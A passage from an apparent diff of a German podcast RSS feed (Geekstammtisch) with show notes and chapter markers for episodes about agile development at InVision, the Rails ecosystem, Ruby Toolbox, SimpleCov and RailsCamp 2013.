+<li>Initiale Wissenslücke durch Trainings, Workshops und Self-Training geschlossen</li>
+<li>Man musste lernen, dass man seinen eigenen Code auch mal wegwerfen muss</li>
+</ul>
+
+<h3>Agile Softwareentwicklung (00:38:20)</h3>
+
+<ul>
+<li>Während der Umstellung auf neue Technologien hat man sich die Frage gestellt, warum schreiben wir eigentlich Spezifikationen? Am Ende kommt eh nicht das raus, was der Kunde wollte?</li>
+<li>Die häufigste Antwort auf diese Fragen war: Im besten Fall war es überflüssig, aber in der Regel hat es Nachteile gebracht.</li>
+<li>Und was ist eigentlich dieses Scrum?</li>
+<li>SaaS eignet sich perse nicht für Wasserfall, man muss viel schneller reagieren können</li>
+<li>Man hört ganz anders auf die Kunden: Nicht mehr der einzelne zählt, sondern der Bedarf des Marktes</li>
+<li>Dadurch musste auch der Produktbereich umlernen bzw. überhaupt aufgebaut werden</li>
+<li>Entscheidungen über Produktänderungen werden vor allem in den einzelnen Teams getroffen</li>
+<li>Am Anfang war es schwierig ein Produkt ohne echte Kunden zu entwickeln</li>
+<li>Die Lücke musste durch internes Know-How geschlossen werden</li>
+<li>Das machte auch Reviews schwierig</li>
+<li>Mittlerweile haben alle Teams den selben Sprint-Rythmus und machen ihr Review gemeinsam in einem Conference-Call</li>
+<li>Stefan ist zufrieden mit dem Transformationsprozess</li>
+<li>besondere positive Aspekte, der Mehrwert der Umstellung
+
+<ul>
+<li>direktes und schnelles Feedback</li>
+<li>worst-case werden nur 1-2 Sprints an Zeit &quot;weggeworfen&quot;</li>
+</ul></li>
+<li>Retrospektiven werden noch etwas stiefmütterlich behandelt</li>
+<li>Teams arbeiten sehr eigenverantwortlich
+
+<ul>
+<li>jedes Team betreibt ihre eigenen Komponenten/Module</li>
+<li>organisieren selbst Urlaub im Team</li>
+</ul></li>
+<li>Standortübergreifende Kommunikation ist eine Herausforderung
+
+<ul>
+<li>Module, die enger zusammenarbeiten und direkte Abhängigkeiten haben, sind nach Möglichkeit am selben Standort angesiedelt</li>
+<li>Ausnahme, das UX Team: Das Team ist verteilt und unterstüzt die anderen Teams</li>
+</ul></li>
+<li>Technologie/Architekturentscheidungen werden in einer Art Architekturboard getroffen, nachdem es Vorschläge und Bewertungen aus dem jeweiligen Team gab.</li>
+</ul>
+
+<h3>Technical Depts, eigene gems als externe Dependencies (00:54:19)</h3>
+
+<ul>
+<li>&quot;Technische Schulden&quot; hat jeder, egal wie jung oder alt ein Projekt ist</li>
+<li>Es gibt ein paar Regeln, wie mit Technical Depts umzugehen ist:
+
+<ul>
+<li>erst kommen Bugs, dann Technical Depts und dann User Features</li>
+</ul></li>
+<li>interne gems, werden von den Teams wie externe Dependencies verwendet (mit Pull Requests, Forks usw.)</li>
+<li>dadurch, dass alle Teams quasi eigene Rails Apps entwickeln, sind die Teams relativ unabhängig von Entscheidungen, wie erb vs HAML oder CSS/SCSS/…</li>
+<li>mitlerweile wird nur noch HAML benutzt: <a href="http://haml.info/">http://haml.info/</a></li>
+</ul>
+
+<h3>Lernprozesse &amp; Kulturwandel (01:01:25)</h3>
+
+<ul>
+<li>Andauernder Learnprozess, viele Fehler, viel gelernt</li>
+<li>Zusammen mit dem technischen Wandel gab es auch einen starken &quot;kulturellen&quot; Wandel
+
+<ul>
+<li>neuer Entwicklungsansatz, neue Motiviation gute Qualität abzuliefern</li>
+<li>Collective (code) Ownership: <a href="http://www.extremeprogramming.org/rules/collective.html">http://www.extremeprogramming.org/rules/collective.html</a></li>
+<li>ständier Lern- und Verbesserungsprozess</li>
+</ul></li>
+</ul>
+
+<h3>APIs, Service-Orientierung (01:03:47)</h3>
+
+<ul>
+<li>Die bisherige On-Premise-Lösung war nicht Service-orientiert</li>
+<li>Jetzt geht es schon mehr in diese Richtung</li>
+<li>z.B. gibt es ein zentrales User-Management (Service)
+
+<ul>
+<li>API spricht JSON via HTTP</li>
+<li>wird bereitgestellt durch gems</li>
+</ul></li>
+<li>Services/Module haben ihre eigenen Datenbanken</li>
+</ul>
+
+<h3>Zum Abschluss (01:09:12)</h3>
+
+<ul>
+<li>Wir sind beeindruckt von dem doch radikalen und positiven Wandel, den Stefan beschrieben hat</li>
+<li>Wir sind uns einig, dass ein ganzheitlicher Ansatz am erfolgversprechendsten ist</li>
+<li>InVision sucht noch Entwickler und vor allem Leute, die DevOps machen wollen</li>
+<li>Basti hat eine Mail mit Jobangebot bekommen, worin mit einem Foto von Clubmate im Kühlschrank geworben wurde :)</li>
+<li>Mate gibt es bei InVision noch nicht, aber es wird gegrillt (reicht nicht ganz ^^)</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST019" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:03:24" title="Unser Gast" />
+
+ <psc:chapter start="00:06:02" title="InVision" />
+
+ <psc:chapter start="00:17:40" title="Out of the Dark" />
+
+ <psc:chapter start="00:26:38" title="Von C# hin zu Rails" />
+
+ <psc:chapter start="00:38:20" title="Agile Softwareentwicklung" />
+
+ <psc:chapter start="00:54:19" title="Technical Depts, eigene gems als externe Dependencies" />
+
+ <psc:chapter start="01:01:25" title="Lernprozesse &amp; Kulturwandel" />
+
+ <psc:chapter start="01:03:47" title="APIs, Service-Orientierung" />
+
+ <psc:chapter start="01:09:12" title="Zum Abschluss" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST020 - Wenn die Codebase groß genug ist...</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Auf dem RailsCamp 2013 mit Christoph Olszowka (@TheDeadSerious) über The Ruby Toolbox und simplecov</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst020.mp3" length="34427630" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST020</guid>
+ <pubDate>Mon, 29 Jul 2013 18:27:42 +0200</pubDate>
+ <itunes:duration>00:47:27</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Auf dem RailsCamp sprachen wir mit Christoph
+@TheDeadSerious Olszowka. Es ging um das Rails Ökosystem und um zwei
+etwas bekanntere Projekte von Christoph: The Ruby Toolbox und
+simplecov.
+
+### Unser Gast (00:00:00)
+
+ * Wir sitzen im "Hackerzelt" !1!11!
+ * Christoph @TheDeadSerious Olszowka aus Hamburg
+ * The Ruby Toolbox: https://www.ruby-toolbox.com
+ * SimpleCov: https://github.com/colszowka/simplecov
+ * Studiert Informatik und macht Rails in einer Agentur
+
+### Rails Camp 2013 (00:02:40)
+
+ * Fishbowl Talk: http://de.wikipedia.org/wiki/Fishbowl
+ * Themen:
+ * Wäre Kennedy Python oder Ruby Programmierer gewesen?
+ * Rails, omakase
+ * PRISM
+
+### Das Rails Ökosystem (00:04:00)
+
+ * Turbolinks: https://github.com/rails/turbolinks
+ * Rails API: https://github.com/rails-api/rails-api
+ * Neuerdings: Neue Features erst als Gems bereitgestellt, dann in den Core übernommen
+ * Strong Parameters: https://github.com/rails/strong_parameters
+ * Rails is Omakase
+ * Blogpost von DHH: http://david.heinemeierhansson.com/2012/rails-is-omakase.html
+ * A Dramatic Reading: http://www.youtube.com/watch?v=E99FnoYqoII
+ * Seit Rails 3.0 ist vieles modularer geworden, einzelne Komponenten werden als Gems bereitgestellt
+ * GitHub ist immer noch auf einer auf Rails 2.3 basierenden Version
+ * Dirk und Basti kennen den Schmerz eine Rails 2.3 App maintainen zu müssen
+ * GitHub Fork von Rails 2.3: https://github.com/github/rails
+ * GitHub's Zwischenfall mit E-Mails verschicken: https://github.com/blog/1440-today-s-email-incident
+ * Rails 2.3 LTS: https://railslts.com
+ * Umstellung von Rails 3.0 auf 3.1 sehr schmerzhaft wegen der Asset Pipeline: http://guides.rubyonrails.org/asset_pipeline.html
+ * Rails 4.0 gibt sehr detaillierte Fehlermeldungen, bei der Migration
+ * Maintenance Policy for Ruby on Rails: http://weblog.rubyonrails.org/2013/2/24/maintenance-policy-for-ruby-on-rails
+
+### Ruby Toolbox (00:18:45)
+
+ * Projekt seit 2009
+ * Kategorisierter Katalog von Gems und anderen Open Source Projekten
+ * Sortierung nach Beliebtheit, viele Metadaten wie Aktualität, letzter Commit auf GitHub
+ * Als eingeloggter User kann man Kategorien hinzufügen, das Repo updaten, etc.
+ * Viele Änderungen müssen von Christoph noch manuell reviewt werden
+ * Basti nutzt die Toolbox regelmäßig, wusste aber nicht, dass man auch mitarbeiten kann
+ * Sortierung nach Rubygems Downloads, GitHub Stars/Watcher und Forks.
+ * Man kann sich den Score eines Projektes anzeigen lassen. Beispiel: thor https://www.ruby-toolbox.com/projects/thor/popularity
+ * Dirk schlägt vor den letzten Commit auch mit einzubeziehen
+ * Wenn ein Gem bei RailsCasts (http://railscasts.com), etc erwähnt wird, dann beeinflusst das die Watcher Zahlen, aber die Download Zahlen ändert sich nicht zwangsläufig
+ * Für Basti ist es wichtig, dass ein Projekt aktiv ist (neue GitHub Commits), um zu sehen welches Tool er benutzt
+ * Gemcutter/Rubygems (http://www.rubygems.org) und Bundler (http://bundler.io/) haben das Ökosystem positiv beeinflusst
+ * Ein gem zu Erstellen, zu Open Sourcen und es zu maintainen ist ein echtes Commitment!
+ * Überprüfen ob Gems mit Rails 4 funktionieren: http://www.ready4rails4.net
+ * "View the full dependency tree for any ruby gem": https://www.gemlou.pe
+ * "Bei großen Projekten landet man oft in der Dependency-Hell"
+ * Angabe von Ruby Version (http://docs.rubygems.org/read/chapter/20#required_ruby_version) und Plattform (http://docs.rubygems.org/read/chapter/20#platform) im gemspec möglich
+ * Leider die Dependency-Angaben oft sehr eng oder schlichtweg falsch: z.B. MRI verlangt, aber jruby funktioniert auch
+
+### SimpleCov (00:31:50)
+
+ * SimpleCov basiert auf der Coverage API (http://www.ruby-doc.org/stdlib-1.9.3/libdoc/coverage/rdoc/Coverage.html), die mittlerweile von JRuby (http://jruby.org) und Rubinius (http://rubini.us) auch unterstützt werden
+ * die Testsuite für SimpleCov dauert unter jruby >45min :-/
+ * Basti ist zufrieden mit SimpleCov und hat keine Feature Requests
+ * Christoph will JavaScript Coverage mit einbauen
+ * Die Coverage API gibt Daten in einheitlichem Format raus, das könnte man für JavaScript Testsuites nachbauen
+ * SimpleCov kann die Coverage Daten aus mehreren Test-Suites zusammenfügen
+ * Wenn jemand mitarbeiten will, Christoph freut sich über Pull-Requests
+ * Weitere Idee: SimpleCov in Produktion einzusetzen ("Welcher Code wird überhaupt wie oft verwendet"), das wird aber von der Coverage API nicht unterstützt
+ * Dirk wirft in den Raum, dass das mit DTrace (http://de.wikipedia.org/wiki/DTrace) möglich sein könnte
+ * Dirk: "Man sollte sich öfter fragen, ob Code überhaupt noch benutzt wird"; +1
+
+### RailsCamp (00:38:50)
+
+ * In den letzten 2 Tagen war es verdammt heiß, heute ist es eher bewölkt aber angenehm kühl
+ * Abenteuer Hallen Kalk: http://ahk.abenteuerhallenkalk.de
+ * Viele Aktivitäten: Klettern, Basketball, Laufen, Kicker, BMX…
+ * Basti: "Das Wasser und die Mate, die man sich hier reinkippt, schwitzt man sofort wieder aus"
+ * Internet per Richtfunkstrecke und WLAN vom CCC
+ * Wi-Fi Access Points: Ubuquity UniFi http://www.ubnt.com/unifi
+ * Viprinet (http://www.viprinet.com/de/home)
+ * Backup Uplink von Vodafone & T-Mobile
+ * Man läuft rum, hört Sessions mit und unterhält sich mit den Leuten
+ * Weitere Aktivitäten: BMX mit einigen Verletzungen, AR Drone 2 (http://ardrone2.parrot.com)
+ * geiles Essen, lecker Kaffee
+ * Ãœbernachtung in der Skate Halle in zwischen und neben den Half Pipes (Christoph hat's getestet)]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Auf dem RailsCamp sprachen wir mit Christoph
+<a href="https://twitter.com/TheDeadSerious">@TheDeadSerious</a> Olszowka. Es ging um das Rails Ökosystem und um zwei
+etwas bekanntere Projekte von Christoph: The Ruby Toolbox und
+simplecov.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Wir sitzen im &quot;Hackerzelt&quot; !1!11!</li>
+<li>Christoph <a href="https://twitter.com/TheDeadSerious">@TheDeadSerious</a> Olszowka aus Hamburg</li>
+<li>The Ruby Toolbox: <a href="https://www.ruby-toolbox.com">https://www.ruby-toolbox.com</a></li>
+<li>SimpleCov: <a href="https://github.com/colszowka/simplecov">https://github.com/colszowka/simplecov</a></li>
+<li>Studiert Informatik und macht Rails in einer Agentur</li>
+</ul>
+
+<h3>Rails Camp 2013 (00:02:40)</h3>
+
+<ul>
+<li>Fishbowl Talk: <a href="http://de.wikipedia.org/wiki/Fishbowl">http://de.wikipedia.org/wiki/Fishbowl</a></li>
+<li>Themen:
+
+<ul>
+<li>Wäre Kennedy Python oder Ruby Programmierer gewesen?</li>
+<li>Rails, omakase</li>
+<li>PRISM</li>
+</ul></li>
+</ul>
+
+<h3>Das Rails Ökosystem (00:04:00)</h3>
+
+<ul>
+<li>Turbolinks: <a href="https://github.com/rails/turbolinks">https://github.com/rails/turbolinks</a></li>
+<li>Rails API: <a href="https://github.com/rails-api/rails-api">https://github.com/rails-api/rails-api</a></li>
+<li>Neuerdings: Neue Features erst als Gems bereitgestellt, dann in den Core übernommen</li>
+<li>Strong Parameters: <a href="https://github.com/rails/strong_parameters">https://github.com/rails/strong_parameters</a></li>
+<li>Rails is Omakase
+
+<ul>
+<li>Blogpost von DHH: <a href="http://david.heinemeierhansson.com/2012/rails-is-omakase.html">http://david.heinemeierhansson.com/2012/rails-is-omakase.html</a></li>
+<li>A Dramatic Reading: <a href="http://www.youtube.com/watch?v=E99FnoYqoII">http://www.youtube.com/watch?v=E99FnoYqoII</a></li>
+</ul></li>
+<li>Seit Rails 3.0 ist vieles modularer geworden, einzelne Komponenten werden als Gems bereitgestellt</li>
+<li>GitHub ist immer noch auf einer auf Rails 2.3 basierenden Version</li>
+<li>Dirk und Basti kennen den Schmerz eine Rails 2.3 App maintainen zu müssen</li>
+<li>GitHub Fork von Rails 2.3: <a href="https://github.com/github/rails">https://github.com/github/rails</a></li>
+<li>GitHub&#39;s Zwischenfall mit E-Mails verschicken: <a href="https://github.com/blog/1440-today-s-email-incident">https://github.com/blog/1440-today-s-email-incident</a></li>
+<li>Rails 2.3 LTS: <a href="https://railslts.com">https://railslts.com</a></li>
+<li>Umstellung von Rails 3.0 auf 3.1 sehr schmerzhaft wegen der Asset Pipeline: <a href="http://guides.rubyonrails.org/asset_pipeline.html">http://guides.rubyonrails.org/asset_pipeline.html</a></li>
+<li>Rails 4.0 gibt sehr detaillierte Fehlermeldungen, bei der Migration</li>
+<li>Maintenance Policy for Ruby on Rails: <a href="http://weblog.rubyonrails.org/2013/2/24/maintenance-policy-for-ruby-on-rails">http://weblog.rubyonrails.org/2013/2/24/maintenance-policy-for-ruby-on-rails</a></li>
+</ul>
+
+<h3>Ruby Toolbox (00:18:45)</h3>
+
+<ul>
+<li>Projekt seit 2009</li>
+<li>Kategorisierter Katalog von Gems und anderen Open Source Projekten</li>
+<li>Sortierung nach Beliebtheit, viele Metadaten wie Aktualität, letzter Commit auf GitHub</li>
+<li>Als eingeloggter User kann man Kategorien hinzufügen, das Repo updaten, etc.</li>
+<li>Viele Änderungen müssen von Christoph noch manuell reviewt werden</li>
+<li>Basti nutzt die Toolbox regelmäßig, wusste aber nicht, dass man auch mitarbeiten kann</li>
+<li>Sortierung nach Rubygems Downloads, GitHub Stars/Watcher und Forks. </li>
+<li>Man kann sich den Score eines Projektes anzeigen lassen. Beispiel: thor <a href="https://www.ruby-toolbox.com/projects/thor/popularity">https://www.ruby-toolbox.com/projects/thor/popularity</a></li>
+<li>Dirk schlägt vor den letzten Commit auch mit einzubeziehen</li>
+<li>Wenn ein Gem bei RailsCasts (<a href="http://railscasts.com">http://railscasts.com</a>), etc erwähnt wird, dann beeinflusst das die Watcher Zahlen, aber die Download Zahlen ändert sich nicht zwangsläufig</li>
+<li>Für Basti ist es wichtig, dass ein Projekt aktiv ist (neue GitHub Commits), um zu sehen welches Tool er benutzt</li>
+<li>Gemcutter/Rubygems (<a href="http://www.rubygems.org">http://www.rubygems.org</a>) und Bundler (<a href="http://bundler.io/">http://bundler.io/</a>) haben das Ökosystem positiv beeinflusst</li>
+<li>Ein gem zu Erstellen, zu Open Sourcen und es zu maintainen ist ein echtes Commitment!</li>
+<li>Überprüfen ob Gems mit Rails 4 funktionieren: <a href="http://www.ready4rails4.net">http://www.ready4rails4.net</a></li>
+<li>&quot;View the full dependency tree for any ruby gem&quot;: <a href="https://www.gemlou.pe">https://www.gemlou.pe</a></li>
+<li>&quot;Bei großen Projekten landet man oft in der Dependency-Hell&quot;</li>
+<li>Angabe von Ruby Version (<a href="http://docs.rubygems.org/read/chapter/20#required_ruby_version">http://docs.rubygems.org/read/chapter/20#required_ruby_version</a>) und Plattform (<a href="http://docs.rubygems.org/read/chapter/20#platform">http://docs.rubygems.org/read/chapter/20#platform</a>) im gemspec möglich</li>
+<li>Leider die Dependency-Angaben oft sehr eng oder schlichtweg falsch: z.B. MRI verlangt, aber jruby funktioniert auch</li>
+</ul>
+
+<h3>SimpleCov (00:31:50)</h3>
+
+<ul>
+<li>SimpleCov basiert auf der Coverage API (<a href="http://www.ruby-doc.org/stdlib-1.9.3/libdoc/coverage/rdoc/Coverage.html">http://www.ruby-doc.org/stdlib-1.9.3/libdoc/coverage/rdoc/Coverage.html</a>), die mittlerweile von JRuby (<a href="http://jruby.org">http://jruby.org</a>) und Rubinius (<a href="http://rubini.us">http://rubini.us</a>) auch unterstützt werden</li>
+<li>die Testsuite für SimpleCov dauert unter jruby &gt;45min :-/</li>
+<li>Basti ist zufrieden mit SimpleCov und hat keine Feature Requests</li>
+<li>Christoph will JavaScript Coverage mit einbauen</li>
+<li>Die Coverage API gibt Daten in einheitlichem Format raus, das könnte man für JavaScript Testsuites nachbauen</li>
+<li>SimpleCov kann die Coverage Daten aus mehreren Test-Suites zusammenfügen</li>
+<li>Wenn jemand mitarbeiten will, Christoph freut sich über Pull-Requests</li>
+<li>Weitere Idee: SimpleCov in Produktion einzusetzen (&quot;Welcher Code wird überhaupt wie oft verwendet&quot;), das wird aber von der Coverage API nicht unterstützt</li>
+<li>Dirk wirft in den Raum, dass das mit DTrace (<a href="http://de.wikipedia.org/wiki/DTrace">http://de.wikipedia.org/wiki/DTrace</a>) möglich sein könnte</li>
+<li>Dirk: &quot;Man sollte sich öfter fragen, ob Code überhaupt noch benutzt wird&quot;; +1</li>
+</ul>
+
+<h3>RailsCamp (00:38:50)</h3>
+
+<ul>
+<li>In den letzten 2 Tagen war es verdammt heiß, heute ist es eher bewölkt aber angenehm kühl</li>
+<li>Abenteuer Hallen Kalk: <a href="http://ahk.abenteuerhallenkalk.de">http://ahk.abenteuerhallenkalk.de</a></li>
+<li>Viele Aktivitäten: Klettern, Basketball, Laufen, Kicker, BMX…</li>
+<li>Basti: &quot;Das Wasser und die Mate, die man sich hier reinkippt, schwitzt man sofort wieder aus&quot;</li>
+<li>Internet per Richtfunkstrecke und WLAN vom CCC</li>
+<li>Wi-Fi Access Points: Ubuquity UniFi <a href="http://www.ubnt.com/unifi">http://www.ubnt.com/unifi</a></li>
+<li>Viprinet (<a href="http://www.viprinet.com/de/home">http://www.viprinet.com/de/home</a>)
+
+<ul>
+<li>Backup Uplink von Vodafone &amp; T-Mobile</li>
+</ul></li>
+<li>Man läuft rum, hört Sessions mit und unterhält sich mit den Leuten</li>
+<li>Weitere Aktivitäten: BMX mit einigen Verletzungen, AR Drone 2 (<a href="http://ardrone2.parrot.com">http://ardrone2.parrot.com</a>)</li>
+<li>geiles Essen, lecker Kaffee</li>
+<li>Ãœbernachtung in der Skate Halle in zwischen und neben den Half Pipes (Christoph hat&#39;s getestet)</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST020" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:02:40" title="Rails Camp 2013" />
+
+ <psc:chapter start="00:04:00" title="Das Rails Ökosystem" />
+
+ <psc:chapter start="00:18:45" title="Ruby Toolbox" />
+
+ <psc:chapter start="00:31:50" title="SimpleCov" />
+
+ <psc:chapter start="00:38:50" title="RailsCamp" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST021 - Nerdstammtisch (aka NK008)</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Das Geekstammtisch und Nerdkunde Joint Venture berichtet vom RailCamp 2013</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst021.mp3" length="45572899" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST021</guid>
+ <pubDate>Tue, 30 Jul 2013 18:54:43 +0200</pubDate>
+ <itunes:duration>01:02:55</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Der Geekstammtisch und die Nerdkunde haben auf dem RailsCamp
+Germany 2013 zusammen ein paar Impressionen der Besucher gesammelt. Wir
+sprachen mit @skddc, @jkwebs, @argorak, @badboy_, @Uepsi, @slogmen und
+@Hagenburger. Bis zum nächsten Mal!
+
+
+### Intro (00:00:00)
+
+ * [Geekstammtisch](http://www.geekstammtisch.de) und [Nerdkunde](http://www.nerdkun.de) zusammen FTW! :)
+ * Wir senden "live" vom [RailsCamp 2013](http://2013.railscamp.de/), daher entschuldigt die ungewohnt "schlechte" Audioqualität
+ * Mit dabei: [Lucas](https://twitter.com/moonbeamlabs), [Basti](https://twitter.com/tisba), [Dirk](https://twitter.com/railsbros_dirk) und [Klaus](https://twitter.com/klaustopher) als hauptamtlicher Funkmikro-Träger!
+
+
+### Sebastian Kippe (00:01:02)
+
+ * Twitter: @skddc
+ * (Mit-)Organisator des RailsCamps
+ * es gab so circa 30 Mit-Organisatoren per [GitHub Issues](https://github.com/railscamp/railscamp-germany-2013/issues)
+ * wir fanden, die Orga lief super
+ * Sebastian kommt gerade von der Crypto-Session mit Key Signing & Co.
+ * Es wurden 125 Tickets verkauft, es waren circa 10 nicht da und es sind ein paar zusätzlich gekommen
+ * Sebastian's Highlight: Punk Rock mit @TheDeadSerious auflegen!
+ * Sport und Nerds: Es gab Opfer! 2 von 4 Leute beim BMXen waren im Krankenhaus
+
+
+### Jakob Hilden (00:07:09)
+
+ * Twitter: @jkwebs
+ * ebenfalls Organisator und vor allem Koordinator \o/
+ * findet es super, wie alles so zusammengekommen ist
+ * bei der vorletzten [Cologne.rb](http://www.colognerb.de) hat Jakob tolle "Hüte" gebastelt; hat funktioniert :)
+ * Die Idee einen Pool aufzustellen, kam leider etwas zu spät für's RailsCamp
+ * Jakob's Highlight: Nico @Hagenburger's Session zu [Living Styleguides](https://speakerdeck.com/hagenburger/style-guide-driven-development)
+ * Es gab eine tolle Feedback-Runde zu dem Living Styleguide Ansatz
+
+
+### Unsere Impressionen vom Camp (00:12:10)
+
+ * Dirk fragt sich, ob es eine grundsätzliche thematische Richtung auf dem Camp und wir haben nichts ausgemacht
+ * uns war allen warm :)
+ * Wir haben alle nicht so viele Sessions mitgemacht, sondern haben mehr an Diskussionen rundherum teilgenommen
+ * Lucas hat den Eindruck, dass viele auf der Suche nach DEM Frontend JS Framework sind
+ * Wir diskutieren etwas über [Ember.js](http://emberjs.com), [Backbone.js](http://backbonejs.org) und [AngularJS](http://angularjs.org)
+
+
+### Mike (00:16:40)
+
+ * betreut die ganzen Nerds in den AbenteuerHallenKALK: http://ahk.abenteuerhallenkalk.de/
+ * die gute Seele des Hauses
+ * Mike findet die RailsCamper sind tiefen-entspannt und ordentlich (hört, hört!)
+ * Nerds sind pflegeleichter als Jugendliche \o/
+ * Mike hat Chipstüten vermisst
+ * …und er fand unseren Musikgeschmack gut
+ * in den Hallen finden alle möglichen Events statt
+ * z.B. die [Evoke 2013](http://www.evoke.eu/2013/) vom 16.-18.08.2013
+ * Evoke wird das selbe Wi-Fi Setup bekommen, wie das RailsCamp
+
+
+### Florian Gilcher (00:21:38)
+
+ * Twitter: @argorak
+ * Hat [AR.Dronen](http://ardrone2.parrot.com) mitgebracht, weil er eine geschenkt bekommen hat ^^
+ * Es sollte gescripted werden und nicht mit der iPhone App geflogen werden
+ * Ergebnis: Eine wird von einem N64-Controller gesteuert, die andere von einer [Shoes4-App](https://github.com/skade/shoes-ardrone)
+ * Klaus hat seine neue DrohDrohnene erstmal geschrottet
+ * Pro-Tipp: Drohne und Client müssen im gleichen WLAN sein
+ * Implementierungen in Ruby [artoo-ardrone](https://github.com/hybridgroup/artoo-ardrone) und Node.js [node-ar-drone](https://github.com/felixge/node-ar-drone)
+ * Florian hat einen Arbeitskreis für Ruby-Events gemacht
+ * Wie kann man sich besser vernetzen?
+ * Deutschlandweite Mailingsliste
+ * Deutschlandweites Blog
+ * Ruby Berlin e.V. ist trotz des Namens _nicht_ auf Berlin begrenzt
+ * Das Railscamp wurde vom Ruby e.V. veranstaltet
+ * Zentrale Frage sollen einfach zu klären sein (Bsp.: Internet, WLAN, etc)
+ * Die Telekom lässt das [eurucamp](http://2013.eurucamp.org) nicht an ihr Glas m(
+ * Findet statt vom 16.-18. August und es gibt noch Tickets
+ * Die einzige JRuby Konferenz dieses Jahr findet kurz vorher statt: [JRuby Conf EU](http://2013.jrubyconf.eu)
+ * Es gibt keine Kombitickets für die Konferenz aber eine Kombiparty
+ * Am 24./25. August findet die [RedFrog Conf](https://ruby.froscon.org) auf der [FrOSCon](http://www.froscon.org) statt
+ * "[So Coded](http://socoded.com)" findet am 19./20. September in Hamburg statt
+
+
+### Jan-Erik Rediger (00:32:20)
+
+ * Twitter: @badboy_
+ * Kommt von [rrbone](https://www.rrbone.net), die den Uplink via Richtfunk zur FH Köln realisiert haben
+ * rrbone ist ein kleiner ISP aus Dortmund
+ * Richtfunkstrecke ging über 1,5 km
+ * Der Ausblick war großartig ^^
+ * Es gab für alle Teilnehmer öffentliche IPv4 und IPv6 Adressen
+ * Das Netz kommt in Düsseldorf raus!!!
+ * Es gab ein [Easteregg](http://tmp.rediger.net/railscamp-traceroute.txt)
+ * Bis zu 100MBit sind über die Richtfunkstrecke gemessen worden \o/
+ * Wir können jetzt überall Campen \o/
+
+
+### Wir (00:37:28)
+
+ * Sport von den Panelisten: Drohne fliegen, Kickern, Schwitzen
+ * Eine weitere Nerdkunde wurde in der Sauna mit Dennis Reimann aufgenommen: http://nerdkunde.de/nk0007.html
+ * Und ein Geekstammtisch mit Christoph @TheDeadSerious Olszowka
+ * Hardware Hacker: Buzzer und Funky Monkey Cards
+
+
+### Maxim (00:38:35)
+
+ * Twitter: @Uepsi
+ * Projekt hat auf der Interactive Cologne angefangen
+ * Das Projekt: Mit Karte einchecken und einfach zählen, wie oft jemand am Kühlschrank ist usw.
+ * [Raspberry Pis](http://www.raspberrypi.org) als Check-In Stations
+ * Aktuell sammelt jede Station für sich, denn das Netzwerk hat nicht mitgespielt
+ * App ist mit Rails gebaut, wer Lust hat mitzumachen: Bei Maxim melden!
+ * Buzzer hängen sich als Tastatur an den Rechner und können RGB Farbverläufe darstellen
+ * Läuft mit [AnyKey](http://www.anykey0x.de) – die Hacker sind aber noch schwer beschäftigt
+ * Klaus baut seine zukünftige Eisenbahnsteuerung vielleicht mit AnyKey
+ * Nerdifiziere alles mit Einchecken
+ * Alles anonym, Entwickler wehren sich gegen PRISM Vorwürfe
+ * Github Repo: [StuffCard local-service](https://github.com/StuffCard/local-service)
+
+
+### Wir (00:45:43)
+
+ * Das Fleisch war super (@killerg hat's gegrillt!)
+ * Fleisch + Zwiebeln + Beck's
+
+
+### Thomas Schrader (00:46:20)
+
+ * Twitter: @slogmen
+ * In einem riesengroßen Topf Fleisch + riesigen Mengen von Zwiebeln + Bier + Senf
+ * 24 Stunden eingelegt
+ * Butterzart!
+ * Sein erster Ruby Event
+ * Erst seit ein paar Monaten in Köln
+ * Super Atmosphäre, Leute und Location
+ * Er fand Sebastian's [Babuschka](http://babushka.me) Vortrag und den Living Styleguide super
+ * Babuschka automatisiert Server Setups
+ * Abhängigkeiten stehen im Vordergrund
+ * Keine zentrale Komponente wie bei Chef oder Puppet
+ * Server Setups automatisieren ist immer noch nicht gelöst
+ * Kann auch mehrere Server provisionieren
+ * Er wird noch auf weitere Events gehen
+
+
+### Wir (00:51:42)
+
+ * Podcast Workshop
+ * Einige waren interessiert am Podcasten
+ * Es waren jede Menge [RailsGirls](http://railsgirls.com) da
+ * Die Rails Girls treffen sich wöchentlich in kleinen Gruppen mit ihrem Coach
+ * Am Samstag haben sich die [Rubymonsters](https://github.com/rubymonsters) getroffen, um ihre Tests wieder grün zu machen
+ * Sie arbeiten an der Open Source Rails App [Speakerinnen Liste](https://github.com/rubymonsters/speakerinnen_liste)
+ * Das soll Speakerinnen und Konferenz Organizer zusammenbringen
+ * Haben Git Blame gelernt
+ * Aber die sitzen alle im Git Workshop
+
+
+### Nico Hagenburger (00:55:40)
+
+ * Twitter: @Hagenburger
+ * Er hat einen Talk über Styleguide Driven Development gehalten: Separation von Frontend und Backend
+ * Er macht das auch so
+ * GitHub Repo – er baut ein Gem
+ * Er schreibt in Markdown seine Code Beispiele und schreibt dann seinen [Sass](http://sass-lang.com) Code, und produziert statisches HTML + CSS
+ * PHP Leute können wohl auch Sass. Aber er gibt am Liebsten direkt CSS raus
+ * [Sass und Compass in Symfony](http://alexandre-salome.fr/blog/Sass-Compass-Assetic-In-Ten-Minutes#sample-with-symfony2-sass-compass)
+ * Er muss keine Datenbank aufsetzen, die Entwickler müssen kein Sass mehr kompilieren
